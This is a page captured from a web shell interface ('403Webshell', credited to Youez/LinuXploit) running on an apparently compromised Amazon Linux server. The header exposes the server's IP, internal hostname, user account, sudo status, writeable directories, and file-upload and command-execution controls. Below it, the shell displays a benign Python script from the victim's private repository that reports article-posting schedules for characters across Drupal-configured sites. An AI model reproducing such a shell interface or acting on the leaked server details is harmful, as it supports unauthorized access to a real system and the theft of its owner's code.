403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.229
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/scripts/article_schedule_report.py
"""
Article Schedule Report

Generates a report of article scheduling for all characters across all sites
in a given environment. Shows each character's calendar schedule and
identifies characters that will never post (no schedule).

Usage:
    cd api
    python scripts/article_schedule_report.py [--env development|production|scike_ai]

The TSAI_ENV environment variable is used by default. Pass --env to override.
"""

import argparse
import os
import sys
from datetime import datetime
from pathlib import Path

# Parse --env BEFORE any app imports so TSAI_ENV is set correctly
parser = argparse.ArgumentParser(description='Article schedule report for all characters')
parser.add_argument(
    '--env',
    choices=['development', 'production', 'scike_ai'],
    default=os.getenv('TSAI_ENV', 'development'),
    help='Environment to report on (default: TSAI_ENV or development)'
)
args = parser.parse_args()
os.environ['TSAI_ENV'] = args.env

# Load .env before app imports
from dotenv import load_dotenv
API_DIR = Path(__file__).resolve().parent.parent
env_path = API_DIR / '.env'
load_dotenv(dotenv_path=env_path)
# Re-apply --env after dotenv (which may set TSAI_ENV to something else)
os.environ['TSAI_ENV'] = args.env

# Add api directory to path so app modules can be imported
sys.path.insert(0, str(API_DIR))

# Now safe to import app modules
from app.services.site_config_service import SiteConfigService
from app.services.drupal import DrupalService
from app.appTypes import Character, ContentSchedule

DAY_NAMES = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']
ENV_LABELS = {
    'development': 'Development (local)',
    'production': 'TSAI Server (turmansolutions.ai)',
    'scike_ai': 'Scike Server (scike.ai)',
}


def format_days_of_week(days):
    """Convert JS day numbers to readable names."""
    if not days:
        return '-'
    return ', '.join(DAY_NAMES[d] for d in sorted(days) if 0 <= d <= 6)


def format_days_of_month(days):
    """Format day-of-month list."""
    if not days:
        return '-'
    return ', '.join(str(d) for d in sorted(days))


def format_hours(hours):
    """Format preferred hours list."""
    if not hours:
        return 'any'
    return ', '.join(f'{h}:00' for h in sorted(hours))


def has_day_constraints(schedule):
    """True if the schedule has at least one matching day constraint."""
    return bool(schedule and (schedule.daysOfWeek or schedule.daysOfMonth))


def is_active_for_articles(character):
    """Check if character is actively configured to produce articles."""
    if not character.enabled:
        return False
    return has_day_constraints(character.articleSchedule)


def get_inactive_reason(character):
    """Return reason a character is inactive for articles."""
    if not character.enabled:
        return 'disabled'
    return 'no article schedule'


def print_character_row(char):
    """Print a single character's article schedule info."""
    sched = char.articleSchedule
    sw = ' [system-wide]' if char.systemWide else ''

    print(f'  {char.name}{sw}')
    dow = format_days_of_week(sched.daysOfWeek) if sched else '-'
    dom = format_days_of_month(sched.daysOfMonth) if sched else '-'
    hrs = format_hours(sched.preferredHours) if sched else 'any'
    print(f'    days of week:  {dow}')
    print(f'    days of month: {dom}')
    print(f'    hours:         {hrs}')
    print()


def main():
    env = args.env
    now = datetime.now()

    print('=' * 70)
    print(f'  ARTICLE SCHEDULE REPORT')
    print(f'  Environment: {ENV_LABELS.get(env, env)}')
    print(f'  Source:      Drupal site_config (via SiteConfigService)')
    print(f'  Generated:   {now.strftime("%Y-%m-%d %H:%M:%S")}')
    print('=' * 70)
    print()

    site_config_service = SiteConfigService()
    drupal_service = DrupalService()
    sites = site_config_service.get_all_sites()

    # Fetch system-wide characters once
    system_wide_data = drupal_service.fetch_system_wide_characters()

    # Track unique drupal_target_ids to avoid re-fetching the same characters
    fetched_target_ids = {}
    # Track all characters across sites for summary
    all_active = []
    all_inactive = []
    total_sites = 0

    for site in sites:
        total_sites += 1
        print('-' * 70)
        print(f'  Site: {site.slug}')
        print(f'  Host: {site.wp_host}')
        print('-' * 70)

        if not site.drupal_target_id:
            print('  (no drupal_target_id configured — skipping character fetch)')
            print()
            continue

        # Fetch or reuse characters for this drupal_target_id
        tid = site.drupal_target_id
        if tid not in fetched_target_ids:
            character_data = drupal_service.fetch_characters_by_uid(tid)
            fetched_target_ids[tid] = character_data
        else:
            character_data = fetched_target_ids[tid]

        # Combine with system-wide characters and parse
        combined_data = character_data + system_wide_data
        characters = drupal_service.create_characters(site, combined_data)

        active = [c for c in characters if is_active_for_articles(c)]
        inactive = [c for c in characters if not is_active_for_articles(c)]

        if not active:
            print('  No active article-posting characters.')
            print()
        else:
            print(f'  Active characters ({len(active)}):')
            print()
            for char in sorted(active, key=lambda c: c.name):
                print_character_row(char)

        all_active.extend(active)
        all_inactive.extend(inactive)

    # Summary
    print('=' * 70)
    print(f'  SUMMARY')
    print('=' * 70)
    print(f'  Sites:              {total_sites}')
    print(f'  Active characters:  {len(all_active)} (across all sites, may include duplicates)')
    print(f'  Inactive characters: {len(all_inactive)} (across all sites)')
    print()

    if all_inactive:
        # Deduplicate by storageId for the summary
        seen = set()
        unique_inactive = []
        for c in all_inactive:
            key = c.storageId or c.name
            if key not in seen:
                seen.add(key)
                unique_inactive.append(c)

        print(f'  Inactive characters (unique: {len(unique_inactive)}):')
        for c in sorted(unique_inactive, key=lambda c: c.name):
            reason = get_inactive_reason(c)
            site_info = f' (site: {c.siteId})' if c.siteId else ''
            sw = ' [system-wide]' if c.systemWide else ''
            print(f'    - {c.name}{sw}{site_info}: {reason}')
        print()


if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit